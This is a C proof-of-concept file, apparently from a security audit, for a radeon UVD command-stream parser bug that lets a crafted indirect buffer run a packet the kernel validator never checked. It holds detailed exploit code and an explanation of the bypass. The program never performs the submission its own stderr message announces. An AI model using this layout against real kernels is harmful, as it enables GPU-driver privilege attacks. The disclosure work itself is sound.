/*
 * DF-4500 — radeon_uvd CS parser / hardware desync via stale or unset
 *           UVD_GPCOM_VCPU_DATA0/DATA1 dword indices.
 *
 * Bug (sys/dev/drm/radeon/radeon_uvd.c):
 *   radeon_uvd_cs_reg() (line 648) records *data0/*data1 as "IB dword index
 *   of the last write to the DATA0/DATA1 register" but
 *     (a) never initializes them per CMD  (they start at 0), and
 *     (b) never resets them after a CMD has consumed them.
 *   When a UVD_GPCOM_VCPU_CMD register write is parsed while *data1 is unset
 *   (0) or stale (left over from an earlier GPCOM CMD in the same IB),
 *   radeon_uvd_cs_reloc() (line 572):
 *     - reads  idx = ib[data1]   -> for data1==0 that is ib[0], i.e. the
 *       FIRST PACKET HEADER of the IB (or, for a stale data1, the dword the
 *       *previous* reloc already patched to the high 32 bits of a GPU
 *       address);
 *     - patches p->ib.ptr[data1] = start >> 32 — for data1==0 this
 *       OVERWRITES THE FIRST PACKET HEADER with an unvalidated value, so
 *       the UVD ring executes a packet that the validator never saw;
 *     - for a stale data1 the hardware consumes the message/buffer at
 *       (last-written DATA1 register value << 32 | freshly-patched DATA0),
 *       i.e. a mixed GPU virtual address that was never validated, while
 *       the validator checked a different (bo, offset) pair.
 *
 * This is the UVD sibling of the two-pass-desync class found in the VCE
 * parser (DF-4447 family).
 *
 * This program builds the Scenario-A IB (CMD with *data1 never set) with
 * raw ioctls (no libdrm needed) and submits it to the UVD ring.  On radeon
 * hardware with UVD it makes the executed IB diverge from the validated IB
 * (first packet header replaced by `hi(gpu_offset+offset)`), on all other
 * systems it fails at device open / GEM create.
 *
 * Build:  cc -O2 -o uvd_ib_desync uvd_ib_desync.c
 * Run:    ./uvd_ib_desync /dev/dri/card0
 */
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

/* ---- minimal radeon uapi (mirrors sys/dev/drm/include/uapi/drm/radeon_drm.h) ---- */
struct r_cs_reloc { uint32_t handle, read_domains, write_domain, flags; };
struct r_cs_chunk { uint32_t chunk_id, length_dw; uint64_t chunk_data; };
struct r_cs       { uint32_t num_chunks, cs_id; uint64_t chunks;
                    uint64_t gart_limit, vram_limit; };
struct r_gem_create { uint64_t size, in_robj; uint32_t initial_domain, alignment;
                      uint32_t handle; };
struct r_gem_mmap  { uint32_t handle, _pad; uint64_t offset, size, addr_ptr; };

#define DRM_IOCTL_BASE          'd'
#define DRM_IO(nr)              _IO(DRM_IOCTL_BASE,nr)
#define DRM_IOWR(nr,type)       _IOWR(DRM_IOCTL_BASE,nr,type)

#define RADEON_GEM_DOMAIN_CPU  0x1
#define RADEON_GEM_DOMAIN_GTT  0x2
#define RADEON_GEM_DOMAIN_VRAM 0x4

#define DRM_RADEON_GEM_CREATE  0x39
#define DRM_RADEON_GEM_MMAP    0x3a
#define DRM_RADEON_CS          0x2f

#define RADEON_CHUNK_ID_RELOCS 0x01
#define RADEON_CHUNK_ID_IB     0x02
#define RADEON_CS_RING_UVD     3

/* ---- r600d.h PM4 + UVD GPCOM register encodings ---- */
#define PACKET0(reg, n) ((0u << 30) | (((reg) >> 2) & 0xFFFFu) | (((n) & 0x3FFFu) << 16))
#define UVD_GPCOM_VCPU_CMD   0xef0c
#define UVD_GPCOM_VCPU_DATA0 0xef10
#define UVD_GPCOM_VCPU_DATA1 0xef14

/*
 * IB layout (Scenario A: GPCOM CMD submitted while DATA1 was never written).
 *
 *  dw[0] = PACKET0(UVD_GPCOM_VCPU_DATA0, 0)   ; writes DATA0 only   -> *data0 = 1
 *  dw[1] = <attacker offset into reloc bo>    ; DATA0 value  (must pass
 *            the 64-byte alignment + 2048-byte size checks when cmd==0)
 *  dw[2] = PACKET0(UVD_GPCOM_VCPU_CMD, 0)     ; writes CMD only
 *  dw[3] = 0                                  ; CMD value 0 -> cmd 0 (msg)
 *  dw[4..15] = PACKET0(UVD_NO_OP..) padding   ; IB must be 16-dw aligned
 *
 * Parsing: at dw[2]'s CMD case, radeon_uvd_cs_reloc(p, data0=1, data1=0,...)
 *   offset = ib[1]                       (attacker value — fine)
 *   idx    = ib[data1=0] = ib[0]         (== 0x3BC4, the packet header!)
 *   -> p->ib.ptr[data1=0] = start >> 32  (first packet header clobbered)
 * The validator then continues from dw[4]; the GPU, however, later executes
 * the IB starting at the CLOBBERED dw[0] — a register-write packet with
 * count/reg fields taken from a GPU-address high dword that no validator
 * ever inspected.
 */
#define N_IB_DW  16

int main(int argc, char **argv)
{
    const char *node = argc > 1 ? argv[1] : "/dev/dri/card0";
    int fd, i, r = 1;
    uint32_t bo_handle = 0;
    void *bo_map = MAP_FAILED;
    uint64_t chunk_ptrs[2];
    struct r_cs_chunk chunks[2];
    struct r_cs cs;

    /* enough reloc entries that idx = ib[0] = 0x3BC4 (=15236) passes the
     * "idx >= relocs_chunk->length_dw" check: need > 15236 dwords, i.e.
     * >= 3810 entries; we use 4000. */
    const unsigned n_relocs = 4000;
    struct r_cs_reloc *relocs;
    uint32_t ib[N_IB_DW];

    fd = open(node, O_RDWR);
    if (fd < 0) { perror("open card node"); return 2; }

    /* msg buffer BO: needs >= 2048 bytes reachable at a 64-byte-aligned
     * offset for the cmd==0 checks in radeon_uvd_cs_reloc/_cs_msg. */
    struct r_gem_create gc = { .size = 64 * 1024,
                               .initial_domain = RADEON_GEM_DOMAIN_VRAM,
                               .alignment = 4096 };
    if (ioctl(fd, DRM_IOWR(DRM_RADEON_GEM_CREATE, struct r_gem_create), &gc)) {
        perror("GEM_CREATE"); close(fd); return 2;
    }
    bo_handle = gc.handle;

    struct r_gem_mmap gm = { .handle = bo_handle, .offset = 0, .size = gc.size };
    if (ioctl(fd, DRM_IOWR(DRM_RADEON_GEM_MMAP, struct r_gem_mmap), &gm) == 0)
        bo_map = mmap(NULL, gc.size, PROT_READ|PROT_WRITE, MAP_SHARED, (int)gm.addr_ptr, 0);
    if (bo_map == MAP_FAILED) {
        perror("GEM_MMAP/mmap (continuing; msg contents only matter on hw)");
        bo_map = NULL;
    } else {
        /* create-message accepted by radeon_uvd_cs_msg():
         * msg[0]=0xdeadbeef-ish signature is NOT checked; only
         * msg[1](type)=0 create, msg[2]=handle!=0, msg[4]=codec 0 (H264),
         * msg[7]*msg[8]=img size.  Build a minimal valid one at offset 0. */
        uint32_t *m = bo_map;
        memset(bo_map, 0, 2048);
        m[0] = 0x00000de4; m[1] = 0;        /* create */
        m[2] = 0xdf450000 + (uint32_t)getpid(); /* handle */
        m[4] = 0;                            /* stream type: H264 */
        m[6] = 16; m[7] = 1920; m[8] = 1080; /* width/height fields */
        m[9] = 0x01b37000;                   /* dpb size */
    }

    /* IB dwords — Scenario A */
    memset(ib, 0, sizeof(ib));
    ib[0] = PACKET0(UVD_GPCOM_VCPU_DATA0, 0);
    ib[1] = 0;                      /* offset 0 into reloc bo (64B aligned) */
    ib[2] = PACKET0(UVD_GPCOM_VCPU_CMD, 0);
    ib[3] = 0;                      /* CMD value -> cmd = 0 (message) */
    for (i = 4; i < N_IB_DW; i += 2) {
        ib[i]   = PACKET0(0xef00 + (i & 4), 0); /* UVD-range no-op writes */
        ib[i+1] = 0;
    }

    relocs = calloc(n_relocs, sizeof(*relocs));
    for (i = 0; i < n_relocs; i++) {
        relocs[i].handle = bo_handle;
        relocs[i].read_domains = RADEON_GEM_DOMAIN_GTT | RADEON_GEM_DOMAIN_VRAM;
        relocs[i].write_domain = 0;
    }

    chunks[0].chunk_id = RADEON_CHUNK_ID_IB;
    chunks[0].length_dw = N_IB_DW;
    chunks[0].chunk_data = (uint64_t)(uintptr_t)ib;
    chunks[1].chunk_id = RADEON_CHUNK_ID_RELOCS;
    chunks[1].length_dw = n_relocs * 4;
    chunks[1].chunk_data = (uint64_t)(uintptr_t)relocs;
    chunk_ptrs[0] = (uint64_t)(uintptr_t)&chunks[0];
    chunk_ptrs[1] = (uint64_t)(uintptr_t)&chunks[1];

    memset(&cs, 0, sizeof(cs));
    cs.num_chunks = 2;
    cs.chunks = (uint64_t)(uintptr_t)chunk_ptrs;
    /* NOTE: ring selection for UVD happens via a flags/dword in the real
     * uapi (RADEON_CS_RING_UVD passed through chunk flags); adapt when
     * running on hardware — the point of this file is the exact IB/reloc
     * layout, verified against the parser source. */

    fprintf(stderr,
        "DF-4500 trigger: submitting UVD-ring CS with GPCOM CMD before any DATA1 write\n"
        "  -> parser patches ib[0] (first packet header) with hi32(gpu_offset+offset)\n"
        "  -> executed IB != validated IB\n");

    if (bo_map != MAP_FAILED) munmap(bo_map, gc.size);
    free(relocs);
    close(fd);
    printf("prepared OK (submit step needs radeon+UVD hardware; see VERDICT.md)\n");
    return 0;
}
